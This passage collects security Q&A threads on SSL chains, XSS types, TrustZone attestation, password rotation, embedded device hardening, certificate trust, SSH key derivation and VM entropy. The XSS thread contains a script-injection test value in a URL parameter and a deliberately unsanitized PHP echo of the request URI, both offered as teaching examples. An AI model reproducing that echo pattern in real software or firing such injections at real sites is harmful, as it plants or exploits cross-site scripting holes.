But remember that SSL clients are allowed not to behave that way. An important point to notice is that URL-following relies on HTTP. A Web browser knows HTTP; that's kind of a core feature of a browser. However, a stand-alone application that uses some SSL library may not be as able to issue random HTTP request, or even simply willing to do so. Some SSL libraries provide the protocol support but rely on the caller to actually provide network connectivity (the caller opens and operates the TCP connection, the library being purely on the computational side of things). Depending on how the application is designed and its SSL implementation, you may or may not succeed at pushing the extra certificates where necessary.

It is much better if the server is properly installed in the first place.


Is echoing GET parameters into a script tag reflected or DOM based XSS? I am struggling to understand whether the following would be considered as a DOM-based XSS or reflected XSS and was hoping that someone could help me distinguish the the difference.

Imagine the following scenario:

Imagine that a site has a search functionality in which the user supplies input in a GET request e.g. www.testsiteexample.com?search=test;%20alert(1);
The input from the search input is reflected back within a JavaScript variable:

var searchResult = *userdata*

I think I've answered my own question as the user input is reflected unsanitized within the javascript variable declaration - my guess would be this is considered reflective XSS. But at the same time DOM based XSS as stated by OWASP is:

  The attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

So does the fact that the user input changes the client side script received back to the user, make this a reflective XSS?

This is reflected XSS, not DOM-based XSS.

The difference is subtle, but here are the key sentences.

OWASP - DOM Based XSS

  the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

A classic example:

Current URL:

Payload URL:

http://example.com/page.html#

See how the payload is not found in the page source itself, but created from the browsers URL.

OWASP - Testing for Reflected Cross site scripting (OTG-INPVAL-001)

  Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response. [...] The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

A classic example:

Current URL: <?php echo $_SERVER['REQUEST_URI']; ?>

Payload URL:

http://example.com/page.php?

See how the payload is in the page source itself, but from the URL passed to the PHP script.


In an Arm TrustZone based Trusted Application (TA), how can a remote party tie an output to a particular TA? I've been looking at the following figure which shows, with Arm TrustZone architecture, resources of a system can be divided into a Rich Execution Environment (REE) and a Trusted Execution Environment (TEE).

Here I'm trying to understand the following: Suppose a remote party wants a particular trusted application (TA) running in TEE to do some computation on his input. How can this remote party be ensured that the computation is actually done by the correct TA ?

Have the TA's output include a signature of the result of the computation, made with a key that only the TA knows.
The signed data needs to include the parameters of the computation as well, not just the result. Otherwise an adversary could take results of one computation and pretend they were the result of a different computation that the TA has also performed. If it's more convenient, you can use a cryptographic hash of the parameters instead of the parameters themselves.
Include the TA version as well, so that if there's a bug in a version of the TA you can decide to reject its computations. (This doesn't help if the TA has a vulnerability that allows the attacker to modify the version in the signed data. If this happens, you either need to rotate the signature key, or rely instead of the TA version in the TEE's attestation as described below.)
The next question is, given a signature, how do you know that it's genuine? You need a public key infrastructure to tie TA's public keys with their identity. The root of trust for the computation includes:

The TEE manufacturer. A TEE consists of hardware and software, often made by different entities, but for your purposes you can consider the TEE manufacturer to be a single entity.
The TA manufacturer.
The entity or entities involved in installing the TA onto the TEE. In this answer, I'll call these entities collectively “the TSM” (trusted service manager).

TEEs usually offer an “attestation” functionality. Exactly what goes into an attestation varies, but the general idea is that an attestation is a signature over some data which includes both identifying information for the TA and identification information for the TEE it's running on. The signature is by a key which has a trust path to a certification authority (CA) run by the attestation authority. The attestation authority is usually the TEE vendor or the TSM. The attestation says something like:

TA {1234-567-89a} version 4.2 running on Yoyodyne TEE operating system 1.1.7 running on an ACME-TZ-5522 chip, on 2020-06-25 at 22:16:44, said:

Moo

Signed, the TEE.
Signed the public key of the TEE, the TSM operating CA.
Signed the TSM operating CA, the TSM root CA.

Depending on how your TEE/TSM infrastructure is set up and the circumstances under which you perform the computation, it may be more convenient to have the TA emit an attestation for each computation result, or to have a TA generate a private key when it's installed, attest the public key once and for all, and use its own private key to sign each computation result.


Digital Certificate Repository Integrity I am trying to figure out if there is an automatic way to determine if a digital certificate repository has been tampered with. Does anyone know of a way to do so?

Short of asking the Certificate Authorities yourself (preferably with a secondary list of valid CRL and or OCSP download URL's lists) one by one I know none.
You could script that, or you could recreate the Repository and create a hash of it. Also checking if the checksums are valid can give you a clue (although it does not show a replaced certificate / added certificate)

TL;DR none that are fast & easy. only hand checking is available.


How Often Should I Change my Passwords I am using a password manager, and have optimized all my passwords so they are complex, long, and unique.

I am wondering if there are any guidelines as to if I should still change my passwords from time to time and if so, how often.

In the new NIST guidelines (US National Institute of Standards and Technology), there are now some rather surprising reversals of guidance on several areas of password management. According to this article from Sophos' Naked Security blog, automatic or periodic password aging is no longer recommended by the new guidelines; rather, the article says:

  The only time passwords should be reset is when they are forgotten, if they have been phished, or if you think (or know) that your password database has been stolen and could therefore be subjected to an offline brute-force attack.

The only other reason to change passwords on a schedule is to comply with outdated policies which are resistant to change, such as the PCI DSS requirements regarding passwords:

  8.2.4 Change user passwords/passphrases at least once every 90 days.

This is not a security issue but a compliance issue. When faced with a regulation which essentially has the force of law, compliance unfortunately must trump security.


Embedded Linux: Is removing SSH alone good enough to ensure security of file system? On my embedded Linux product, I have done the following:

Disable root
Remove SSH from the final product

Normally, a non-root user (used for development) can do lots of damaging stuff, such as editing bootup scripts and overriding files.  The assumption is that if SSH is disabled, nobody can access the file system, and we are safe (I am disputing this claim, because if it is true, why do we have to remove root access in the first place?  Just remove SSH and we are done)

Are there any other ways to access the file system that I am not aware of?  Perhaps by soldering directly to the NAND flash, or a different protocol.
Are my security measures sound, or naive?  If not, any better suggestions from the community?

You have to check for all ways to access the device. For example:

Is there some sort of serial interface that already has a console on it
is there some serial interface that can be used to access the boot loader
is there some serial interface that can be changed to have a console on it
can the flash chip be accessed and changed directly (usually yes, you can only make it harder)
are there any services listening on the network interface that can be used to change the filesystem
are there any services listening on the network interface that have bugs which can be used to change the filesystem

apart from all that, it is always possible to directly change the (flash)memory contents, if they are not encrypted.
You can make this harder e.g. by drowning the flash chips in lots of resin (make sure they don't overheat) but that just makes it harder.

The most secure way is to use hardware that has support for encryption in the CPU/MCU and secure storage for the encryption key. This way, the flash storage is always encrypted and can't be changed. For even more security, the RAM contents also have to be encrypted.

This probably discourages most attackers. Still, modern game consoles use quite similar security measures and all of them got hacked eventually (due to bugs in the implementation/hardware).

The only thing you can do is decreasing the attack surface until it is not economically feasible to break the security. If redeveloping the device from scratch is cheaper than attacking yours, there is not much point in securing your device more.


Why don't the majority of today's malware use strong cryptography? While reading another story of botnet takedown, my wondering has reached its apogee: Why don't malware authors use cryptography (encryption + signing) provided by good libraries when their creations communicate with C&C servers?

Benefits are obvious, while the cost of integration is relatively low (isn't it?). If one would consider OpenSSL, it was founded in 1998, but I haven't heard about malware signing and encrypting at least some of its commands until ~2008.

A good example is Waledac botnet, which was taken down by Microsoft.

UPDATE: I found out that Conficker(2008) worm actually used payload signing and surprisingly in the end it downloaded Waledac.

It seems surprising because crypto libraries are available on all (major) platforms. But it sounds often simpler than it is. For example accessing the Crypto API on Windows takes a lot of additional code to do it properly.

But the amount of malware authors being very familiar with cryptography is rather small. Therefore they tend to focus on functionality like propagation, hiding techniques or data collection instead. Crypto is often just “nice to have“.

Furthermore adding solid crypto mechanisms would increase complexity and detectability of a malware. Simple and small solutions are preferred. Adding crypto is an huge source for errors limiting the success of the malware tasks.


Is it legal to create a remote administration tool? I'm planning to make a simple remote administration tool with the basic features that are available on all other rats in the market. However, I'm really worrying about legal issues after marketing it.

Is what I'm doing a legal thing ? If not, how can I make it legal ?

Any hints would be highly appreciated.

If you want to be certain about the legality of something, consult a lawyer.

That said, a "remote administration tool" as in a tool to permit system administrators to remotely manage computers under their control is legal in every jurisdiction I'm aware of.  On the other hand, a "remote administration tool" as in malware planted on somebody's computer to spy on them or take over their computer may fall afoul of various hacking, wiretapping, or other laws.  So the first thing to do is ask yourself which sort you're making.


How to identify the sender of a message in asymmetric encryption? I am working on a chat application, and I am trying to secure the communication by using asymmetric encryption. I am able to encrypt a message with the receiver's public key and decrypt a message with the receiver's private key.

However, how can a client be sure that the sender is the real sender?

Example:
We have Alice and Bob. Alice encrypts a message with Bob's public key, and Bob decrypts the message with his own private key. However, how can he be sure that the sender of the message is Alice?

I have read about adding a nonce, but I am not sure how that will help. What I understand is that Alice will add a random number to the message she sends. Bob will be, somehow, able to identify the sender of the message as Alice by looking at this number?.

Let us say that the message is: "Hello Bob" and the nonce is "6". The message gets encrypted with Bob's public key, but what about the nonce?

In typical public-key cryptography, a user generates locally his public/private key pair. The private key is generally chosen at random and the public key is easily computed given the private. The problem in this approach is that you have no guarantee that the public key of a specific user is indeed associated to his private key; an man-in-the-middle can intercept the communication and substitute the public key with his public key so he can later decrypt the messages with his private key. To overcome this problem, usually a trusted third party issues certificates to prove the ownership of a public key. The certificate includes information about the key, information about the identity of its owner (called the subject), and the digital signature of the third party that has verified the certificate's contents. X.509 is a standard defining the format of public key certificates. Another solution to overcome this problem is to use identity-based cryptography. It was introduced in 1984 by Shamir (the 'S' guy is 'RSA') but his scheme was only working for signatures. In 2001, Boneh and Franklin proposed an encryption scheme using bilinear pairings over elliptic curves.


What are the major security concerns for smartphones? With sales of smartphone on the ascend and PC sales on the decline, the demand for smartphones will soon outstrip the PC.

What will be some of the new major foreseeable security concerns present on the smartphone?

How do we protect ourselves against such security threats?

The risks include:

Physical theft
Bad passwords
Badly written code
Bad code segregation
Data loss, interception or theft
MITM
Jamming
etc

You'll have spotted that none of these are new...

And the solutions to these are just the same as they have always been.

Mobile devices are not 'new' from a security perspective. And the only reasons they are interesting are that they are easily stealable, do not yet have a mature and secure code development history, are wireless, and are ubiquitous (especially with a generation who have not grown up as paranoid and privacy conscious as some of us)


How to prepare a used computer to handle sensitive information After buying a used computer from a stranger, what steps should be taken to ensure it is safe to use for connecting to a network that handles sensitive information? (I am defining "sensitive" broadly: notes to a loved one, corporate trade secrets, and the location of several of Russia's submarines.)

I am imagining that the system's components should be passively inspected and dealt with in a more active way. By "active" I mean, for instance, repeatedly erasing a mechanical storage device with the assumption that it contains some form of malware.

I am assuming that any used computer may have reparable security problems. The seller may not be aware of those problems. In more extreme cases, he or she may intentionally provide a compromised system.

A common, but of course not universal, situation arises when buying a system on eBay which previously ran Windows but will now be used for Linux.

In the event that a system's issues are actually too severe to repair, it would be nice to know that so that it can be avoided.

For a “normal” computer (eg. may be infected but has no extra malice), booting from CD/usb, wiping the disk and performing a complete reinstall should be enough.

Now, if the CIA is (knowingly) selling you the hardware where you will be storing the location of Russian submarines, you better throw that hardware away. It could do anything from sinply giving you an infected BIOS to modified hardware that sends every single computation performed by your cpu to the team that is performing a TEMPEST attack behind your window.

This reminds me the (probably wrong) information reporting that Russia gave infected usbs to G20 leaders. You can't really be sure you completely cleaned an infected hardware. http://www.telegraph.co.uk/news/worldnews/europe/russia/10411473/Russia-spied-on-G20-leaders-with-USB-sticks.html


Is 4096 bit good enough to encrypt data? I need to store encrypted information in a MySQL table. I would like to use the AES algorithm but I don't know if 4096 bit encryption is supported and if it is a good length to encrypt data like: credit card, email etc.

No, 4096 bit encryption is not good enough to encrypt your data. Becase of a few reasons.

AES does not support 4096 bit encryption.
Even if AES supported 4096 bit encryption, it would be far to slow (most likely). When 128 bit AES is plenty secure why would you want to slow your system down for such little added value?
If you actually meant RSA instead of AES, the answer is maybe. 2048 bit RSA is more than sufficient and faster, so 4096 bit may be overkill. But, that said, why would you want to use public-key crypto to encrypt your database? Normally that would be a bad idea. Please post more details so we can determine the best recommendation.


GSM encryption/decryption algorithms I have seen around the internet devices like this: https://www.cryptophone.de/ and software that reinforce the security on cellphones. My question is simple, since the cellphones use A5/1, A5/2, A5/3 encryption algorithms why to use more encryption? Aren't A5/1, A5/2, A5/3 secure?

The encryption algorithms are proprietary, and little research has been performed on them. But those that has been researched are considered broken; A5/1, A5/2, A5/3... all of them are either badly implemented or fundamentally flawed.

Also, telephones tended to trust the network they connect to, because base stations was expensive. Stingray IMSI catcher exploited this. With software defined radio, such attacks has gone from prohibitively expensive for an individual, to requiring a few hundred USD.

In addition, they only encrypt traffic over the air. The telecom provider will have access to the clear text of the traffic. Additional End to End encryption removes this hole; you no longer has to trust your service provider - they can't leak the clear text, as they don't have it.

End to end encryption bypasses all problems mentioned above. As long as secrecy of the transmission is your goal, you don't have to trust the network. You only need to trust the two devices you're transmitting your data between.


How important is local time for security? I recently wanted to see what happens when I change my local time to something obviously wrong. I tried the year 2218, so 200 years in the future. The result: I couldn't access any website anymore (I didn't try too many, though). I got this error:

I guess NET::ERR_CERT_DATE_INVALID means that an HTTPs certificate is not valid. But usually there is an "advanced" option that allows me to ignore it. Not so here. Also, I wonder why it says "your clock is ahead" - if chrome knows the correct time, why doesn't it take this for comparing?

Coming to my question: How important is local time for security? If an attacker can arbitrarily change the system time, which kinds of attacks allows this? Are there reported cases where time manipulation was a crucial part?

You have a bunch of questions rolled in there.

  I guess NET::ERR_CERT_DATE_INVALID means that an HTTPs certificate is not valid.

Yes.

Here is the cert for help.ubuntu.com:

You'll notice that it has Valid From and Valid Until dates; if you try to access a site protected by this cert outside of these dates, your browser will complain. The reason certs expire is (among other reasons) to force webmasters to keep getting new certs using the latest crypto and other new security features in certificates.

When your browser is trying to decide if it trusts a certificate, it uses the system clock as the definitive source of truth for time. Sure, it'll try to use NTP, but if you (the admin user) have explicitly told it that the NTP servers are wrong, well, you're the boss.

  If an attacker can arbitrarily change the system time, which kinds of attacks allows this?

Let's consider personal computers and servers separately. I haven't done any research here, just off the top of my head.

Personal Computers

Users often play games with their system clock to get around "30-day trial" type things. If you're the company whose software is being used illegally this way, then you would consider it a security issue.
Spoofed websites. It's much easier to hack old expired certificates -- maybe it used 10 year old crypto that is easily cracked, or maybe the server was compromised 6 years ago but the CAs don't track revocation info for that long (idea credit: @immibis' answer). If an attacker can change your system clock then you won't see the warnings.

Servers

Logging. When investigating a security breach, if your servers' clocks are out of sync, it can be very difficult to piece together all the logs to figure out exactly what happened and in what order.
Logins. Things like OTP 2 factor authentication is usually time-based. If one server's clocks are behind a different server, then you could watch someone enter an OTP code, then go use it against the server that's behind because that code won't have expired yet.


Improving stateless REST API authentication token - or ditch it for database persistence? I'm looking to implement stateless REST authentication into an API. I've been reading up on articles here, and have implemented an idea that works, but I was hoping to get some feedback on its security, and any potential improvements.

Initial authentication happens over HTTPS Basic Auth. Username and password are provided in plaintext.
The server generates and provides a token that is provided to the client, but is not stored in the database. All articles I've read on auth tokens suggest storing not the token itself, but some value that can be hashed with another value (the username, etc.) to generate the token again and validate - but I thought the point of a REST API was to be stateless, and not store any tokens/values related to the auth?
This token is then used for subsequent requests in place of always requiring the username/password in the headers.

The Token

The token is generated using:

encrypt(username, salt, hash, expirationDate)

Where encrypt is reversible using currently a DES Cipher, but in the future possibly a private key or server-stored resource that can be easily replaced without relying on a value in source code.

The benefit is that this allows the server to decrypt the incoming token, and compare the salt/hash against what is stored in the User model object. (Which has salt and hash properties stored in the database.)

The concerns I have with this:

If the private key or Cipher password are known, these tokens can be spoofed.
I've considered using password instead of salt and hash, but I didn't like the idea of the password being known if the private key or Cipher password is found.

So: Is there a better way to do this kind of "decryptable" token authentcation? And, is it worth maintaining this "stateless" goal of REST, or should I just be storing some hashed version of the token and username (but not the token itself) in the database and throwing the "stateless auth" idea out the window?

I think you misunderstood the "stateless" constraint from REST. From what was written in Dr. Fielding's dissertation, one can get a wrong impression that stateless means not to keep (server-side) any information about the client, which is wrong. What was meant was that the server shouldn't keep anything related to the client's session (state of the client, that can change during its servicing), which is a different thing.

For example, if your web service should support multiple users you should keep the information about your users, along with their credentials, so that you can validate each request and confirm that it comes from a valid user from your system.

What you shouldn't keep is the state a user is in, while using your service. Take a look at this sentence from the dissertation:

  Scalability is improved because not having to store state between
  requests allows the server component to quickly free resources, and
  further simplifies implementation because the server doesn't have to
  manage resource usage across requests.

So, if you store the state of your clients on your service machine, your storage limits might be reached quickly, with each new user added to the system, not to mention the scenario where a single user can have multiple concurrent requests and you have to manage resources across each of those requests. Also, if one of your service machines go down, any other available service machine won't be able to just take over that client and continue servicing him, because the state of that client, that was being kept on the failed service machine is lost.

Long story short, you don't really need sessions for REST services. Just make sure that your communication is secured (HTTPS) and you can send the basic auth info with each request. If you are really concerned with security, try using hmac or oauth or even per-client certificate. But make sure that you don't store any sessions on your service machines.

Do note that this doesn't mean you can't use external authentication services, which don't need to be RESTful, like single-sign-on servers.


What Trusted Root Certification Authorities should I trust? After two recent Slashdot articles (#1 #2) about questionable Root Certificates installed on machines, I decided to take a closer look at what I have installed on my machines.
(I use current versions of Chrome on Win7, which I understand uses the Windows list of CAs)

What I found really surprised me.

Two relatively clean machines had vastly different lists of CAs.
Each had a number of CAs that had expired in 1999 and 2004!
The identity of many of the CAs is not easy to understand.

I also saw that many certificates expire in 2037, shortly before the UNIX-rollover, presumably to avoid any currently unknown Y2K38-type bugs.  But other certs are good for much longer.

I searched around, but, somewhat surprisingly, couldn't find a canonical list of which CAs are generally accepted.

If I had a MITM rogue cert on my machine, how would I even know?
Does a list of "accepted" certs exist?
Am I safe in removing the expired CAs?
Can I know if/when I have ever used a CA for HTTPS?

All or None.

The singly-rooted CA trust paradigm we inherited from the 90s is almost entirely broken.

Vanilla browsers do not track or alert if the Certificate Authority backing a SSL certificate of site has changed, if the old and new CA are both recognised by the browser1. As the average computer trusts over a hundred root certificates from several dozen organisations2 - all of which are treated equal - any single breached, lazy or immoral certificate authority can undermine any browser anywhere.

The problem is compounded by the fact that almost all of the certificate authorities are not democratically accountable to you (i.e. private companies or foreign governments) and have little or no legally-enforced regulation over their day-to-day conduct. Maintainers of CA lists (Microsoft, Apple, Google, Mozilla, Oracle, etc) do not have the resources, legal authority, or inclination to audit the internal conduct of certificate authorities.

The epistemological riddle of who and what are we actually trusting, that was introduced by a 1990s Netscape trust kludge3, will require an expensive overhaul to resolve. Which I don't see happening this side of an threatened or actual cyberwar.

So.

If your computer (say, a server) doesn't talk out to unknown or ad-hoc sources - then run your HTTPS traffic through a proxy with an explicit list of trusted leaf-node certificates and no root certificates.
For normal computers which browse the internet and update dozens of applications in the background, just trust all of them and follow other security principles to protect your computer instead.

1. Back-end services and frameworks couldn't usefully prompt on change anyway; as they often lack interaction with the user and need to provide seamless operation.
2. See Firefox or iOS CA lists for example.
3. Try as I might, I couldn't re-locate a fascinating web article about how Netscape developers introduced the current Root CA paradigm as quick patch for theorised Man-in-the-Middle attacks for as-yet hypothetical eCommerce. Digital security is hard; and the cold war hangovers and legislative techno-illiteracy of the early 90s didn't help.


How is a cypher algorithm verified? I've always thought about how the symmetric cyphers are verified. Let say I would invent a new cypher. (actually I don't :-)) How should I rationalize its security to the public? As far as I saw papers about cyphers and their security I've never seen any real mathematical proof about it's security. I just saw a kind of reasoning, not real mathematical proofs. How would you prove a symmetric cypher is secure? No idea... Thinking about it is getting me close to P!=NP like questions.

I see it like this, to be able to invent a new cypher, you...

must be well educated and known person to convince others to just listen to you
if you fulfil (1), the other people of your interest would study your algorithm, checking whether any of known method would be applicable against it's security.
the cypher should be discussed how resistant it is against those common methods. Probably you and people form (2) would do that.
the cypher must be suitable for CPUs, it must be fast and easy to compute, easy to implement even on CPU level and different platforms
somehow, the cypher must show it has no intended backdoors. For instance, constant arrays (S-Boxes) should be a well know common numerical series.

From my point of view, symmetric cryptography is much less about math then people think it is. Is't more about imagination how to mix the bits and confuse the data efficiently while using as little CPU instructions as possible. The verification is more about a discussion then about a real math.

Am I naive?

thanks

There is no mathematical proof that secure encryption systems can actually exist, let alone that any specific candidate is secure. At best, some encryption algorithm can be proven to be secure (for some notion of security) as long as some given mathematical problem remains intractable with existing knowledge. E.g. the Rabin cryptosystem can be proven (with some caveats that are a bit too long to explain) to be secure if it is not feasible to factor a given big integer into its prime factors.

Symmetric encryption algorithms (such as AES or 3DES) don't usually boast even that kind of proof.

In practice, the "gold standard" for cryptographic algorithm is survival. To gauge the security of some cryptographic algorithm, the procedure is the following:

Publish the algorithm with a complete unambiguous specification, along with a reference implementation and some test vectors (no, the reference implementation is not the specification; that's something else).
Let the design cook under the fiery gaze of many other cryptographers for some years.
If none of them found anything bad to say about the algorithm after that time, then the resulting algorithm is "probably good enough".

The crucial point is that you have to attract the collective interest of many researchers for a long time, which is not an easy task. Some key ingredients include the following:

Make sure that you publish your algorithm with the utmost clarity, and using the terminology accepted among cryptographers. Don't make them chase wild geese; they won't. See (for instance) the eSTREAM portfolio for examples on how this is done. (In particular, avoid using the word "cypher", which brands you as "someone who watched the Matrix movie too many times" instead of "someone who actually knows a bit of cryptography.)
The algorithm should be interesting in some way; for instance, it might be substantially faster than existing alternatives (see eSTREAM again to get some information on what "fast" means for cryptographers).
Don't patent. For cryptographers, patents mean that they either won't be able to publish their result, or that the patent holder (you) will make money out of their efforts, or both. Patents also mean that nobody will actually use your algorithm, since unpatented alternatives exist and are, by definition, cheaper.

A high level of peer scrutiny is normally achieved as part of competitions where some organization goes to the trouble of formalizing the requirements, gathering candidates, and running regular meetings and conferences. NIST did just that when they wanted a new symmetric encryption algorithm: it was the AES competition.

If you operate out of such a competition, and your algorithm is not that interesting, then you could still salvage it by using it to protect valuable data. For instance, convince a satellite TV broadcaster to rely on your algorithm. Then some cryptographers may find it amusing to blast it into smithereens, just to show you that things shall not be done that way.


SSH session_id in RFC 4253 (key exchange) in RFC 4253 "SSH Transport Layer Protocol", section 7.2 specifies how session encryption and integrity keys (and IVs) are derived from the shared secret (K) and the exchange hash value (H). It uses, a part from these values and constants, a session_id. E.g.

Initial IV server to client: HASH(K || H || "B" || session_id)

I am confused since I though that H was actually the session identifier. What is session_id and how is it obtained?

It is in the source code of openssh as described in the RFC and we can simply trace its source from there:

/* K1 = HASH(K || H || "A" || session_id) */
if ((hashctx = ssh_digest_start(kex->hash_alg)) == NULL ||
    ssh_digest_update_buffer(hashctx, shared_secret) != 0 ||
    ssh_digest_update(hashctx, hash, hashlen) != 0 ||
    ssh_digest_update(hashctx, &c, 1) != 0 ||
    ssh_digest_update(hashctx, kex->session_id,
    kex->session_id_len) != 0 ||
    ssh_digest_final(hashctx, digest, mdsz) != 0) {
    [...]

From the RFC:

  The exchange hash H from the first key exchange is additionally used as the session identifier, which is a unique identifier for this connection.

This means, that the session_id is equal to hash (H) for the first key exchange. If there is another key exchange later, it is always the hash from the first key exchange.

Checking also code of DH:

/* calc and verify H */
hashlen = sizeof(hash);
if ((r = kex_dh_hash(
[...]

if (kex->session_id == NULL) {
    [...]
    memcpy(kex->session_id, hash, kex->session_id_len);
}

if ((r = kex_derive_keys_bn(ssh, hash, hashlen, shared_secret)) == 0)
    [...]

confirms this idea. First we calculate H, then we update session_id (if not set already) and then we derive the keys (code above).


Is the Raspberry Pi vulnerable to injection beyond the SD Card? I understand that it is possible for a code to be crafted for a given hardware/firmware to inject a virus that would not be removed by a wipe of the hard disk. Video card, and BIOS are examples of a possible destination for this type of badware to be stored.

But does the Raspberry Pi possess this possible vulnerability? Assuming that there was no physical tampering, is it safe to assume that when the SD card is replaced, the device is clean?

  There’s no BIOS per se, but we do support booting bare metal code...

There's no RTC. There is hardly anything except the basics. On the other hand, there is included a GPU/video capability.

So this question comes to my mind, and I wonder if anyone has the answer.

The BCM2835 application processor that we use has no persistent storage on board, so an attack of the sort you describe isn't possible. The zero-stage bootloader is stored in real, honest-to-god ROM on the chip, and so can't be overwritten.


What's a good encryption method available for external hdd's, ext4? I've been reading about encryption methods and see things like 'ecryptfs', 'veracrypt', 'LUKS' that "military grade encryption" is basically 256-AES encryption.

I have data on an external hdd - can't tell by reading which encryption method is best to use; maybe it is one I have never heard of.

If this is a disk that you will only use on Linux systems, as seems implied by your use of ext4, I would recommend you to simply use LUKS as the format below your ext4 partition.

It is well-supported by every distro, usually you don't need any extra package, and it even mounts automatically (after requesting the encryption key, obviously) from the Desktop environment.

VeraCrypt supports hidden volumes which LUKS doesn't (in case you want to place a decoy filesystem there), so you might prefer that if that's an important feature for you (it probably isn't relevant). It has supports multiple OS, so would be interesting for a disk that you were to share with a Windows computer, but it's not the case either.

(Being a fork of TrueCrypt, some people may consider that it could have inherited a hidden vulnerability that allowed to decrypt its contents, but I find that unlikely, specially given that they are now using a different format than TrueCrypt did)

Both LUKS and VeraCrypt are Full Disk Encrpytion solutions (FDE) and would provide strong security that would be roughly equivalent (assuming the use of a secure passphrase).

A tool you did not mention, encfs is a fuse solution that encrypts single files over an existing filesystem. It is handy for example if you want to add some encrypted files on an already-formatted filesystem, or if you don't have rights to format the disk and place a new filesystem there, including the case where the files are actually in a different machine (such as a cloud provider), but this results in a weaker encryption. A security audit some years back found a number of issues on the resulting file storage (mostly the result of compromises due to encrypting files individually).

Finally, eCryptfs is another filesystem that works file-by-file. In this case, it is a native Linux filesystem rather than a FUSE module, and may the file format is different (the files themselves are independent, without needinbg a encfs.xml config file) and seems to be stronger (I haven't studied it).

Yet, these approaches will leak metadata. An attacker that had repeated access to the disk would be able to infer information based on the sizes of the files, file modification, etc.

For an external hdd you should be using FDE, which doesn't suffer this problem. As the disk is encrypted as a whole, the metadata that could be leaked is minimal.¹

¹ Not exactly zero, as an attacker which could make a copy of the disk at multiple times could see which blocks changed, and maybe even make some guesses if they are filesystem metadata or actual files, based on location of the blocks on the disk. An encryption storage that uses files needs to leak several orders of magnitude more information.


Managing keys generated with insufficient entropy Since the Linux RNG which provides /dev/random (and by extension /dev/urandom) is seeded by "mouse and keyboard activity, disk I/O operations, and specific interrupts" (source, PDF) and since virtual machines often don't have any of these attributes, it's likely that most Linux VMs RNGs aren't properly seeded.

If this is indeed the case, I'd assume it'd be wise to do one of the following:

Generate SSH, SSL, etc. keys and parameters elsewhere, then replace the VM-generated keypairs immediately upon connecting to the machine.
Log into the machine and regenerate all keys using /dev/random as a source, which will block if insufficient entropy is available. This will mean that generation of these keys will take a really long time, but you'll know that they were generated with good/real entropy.
Do #2, but use /dev/urandom after seeding the random pool with some securely generated random data on a non-starving RNG.

Is my assumption correct? Option number 3 seems the easiest to do, but is this necessary or something I should be concerned about?

Virtual machines have virtual hardware, but this does not necessarily means that they are completely devoid of entropy sources. In particular interrupts: while the VM has no real interrupt generator hardware, its OS still receives such "interrupts" as part of the emulation of hardware. For instance, when you connect to your VM through, say, SSH, network packets still flow back and forth, and each incoming packet triggers an emulated interrupt in the VM. The entropy derived by the kernel from such an interrupt comes from the exact time of appearance of that interrupt, which, in this case, is a function of the real arrival of the packet on the physical network interface of the host system. The process from incoming packet to interrupt is more convoluted than in a non-virtual machine, since the host and the VM layer lie in between, but entropy from the physical world is still made available to the VM kernel.

A much more pressing problem for VM and randomness is VM cloning. You may want to install and configure a complete VM, then make a snapshot and clone it in order to easily create several new already configured VM. Unfortunately, this means that all the clones start from the exact same internal RNG state. Once booted, they begin to diverge as each accumulates its own "random events" (even though the hardware is emulated, emulated hardware events still indirectly come from true hardware random events, as explained above). The divergence may be slow in computing terms (it could take several seconds, and that's very long for computers that can do billions of operations per second).

The most complete method to fix that is to enforce randomness by seeding each VM with a seed obtained from some other random source elsewhere; this is as easy as writing some file into /dev/random. This may be desirable if you clone VM; otherwise, this is probably useless (but it won't harm anyway). Note that this is needed only once per VM: normal Linux distributions will generate and save a "seed file" upon shutdown and reuse it at next boot, so once a VM has been seeded it stays seeded.

As for your #2 solution, take note that the difference between /dev/random and /dev/urandom (in Linux) is not exactly what you state. /dev/random will block if it estimates that its internal pool has not enough entropy; but it also consider that its pool is depleted upon usage. Blocking before enough entropy has been gathered is fine; but the "depletion effect" implies a lot more blocking, and that one has only very flimsy scientific basis. It is a known defect of Linux's /dev/random. A much saner behaviour is what you get with FreeBSD's /dev/random (and, by extension, Mac OS X): that one will block until enough initial entropy has been gathered, then it will produce as many bytes as you wish with a cryptographically secure PRNG, without blocking. Note that FreeBSD /dev/random and /dev/urandom are completely identical (and this is good).

Anyway, even Linux's /dev/random maniacal behaviour with regards to entropy depletion will be fooled by VM cloning. So insisting on generating keys with /dev/random will not only make you wait for inordinate amounts of time; it may also fail to actually achieve the desired level of randomness in the presence of VM cloning.

To sum up, your #3 solution is the right one.


How do I get the subject public key from a PKCS7 message? Quoting RFC4562, Cryptographic Message Syntax (CMS), section 5.6.  Signature Verification Process:

  The recipient MAY obtain the correct public key for the signer by any means, but the preferred method is from a certificate obtained from the SignedData certificates field.

The certificates field is a SET OF CertificateChoices which can be any of the following:

Certificate
ExtendedCertificate
AttributeCertificateV1
AttributeCertificateV2
OtherCertificateFormat

The first two have a subjectPublicKey field but the last three do not seem to. They have Attribute fields that could contain a subjectPublicKey I suppose -- but if they don't it makes me wonder what the point of including them as possible choices is?

As you have noted, the public key is included in the Certificate. However, a PKCS7 message does not mandate the inclusion of the Certificate.

  The person signing may or may not include their X.509 certificate for the recipient to use to verify the signature. If it is not included, the recipient has to obtain a copy of the signer's certificate by other means.

(http://www.cryptosys.net/pki/manpki/pki_signeddata.html)

However, ISO 14533 (if the security product uses this standard) defines the Certificate field as Mandatory for signed data; AttributeCertificateV2 as Conditional; and, OtherCertificateFormat as Conditional.
(http://standardsproposals.bsigroup.com/Home/getPDF/2447)

Also, per https://www.ietf.org/rfc/rfc3852.txt, two of the five certificate formats are now obsolete:

      CertificateChoices ::= CHOICE {
   certificate Certificate,
   extendedCertificate [0] IMPLICIT ExtendedCertificate, -- Obsolete
   v1AttrCert [1] IMPLICIT AttributeCertificateV1,       -- Obsolete
   v2AttrCert [2] IMPLICIT AttributeCertificateV2,
   other [3] IMPLICIT OtherCertificateFormat }


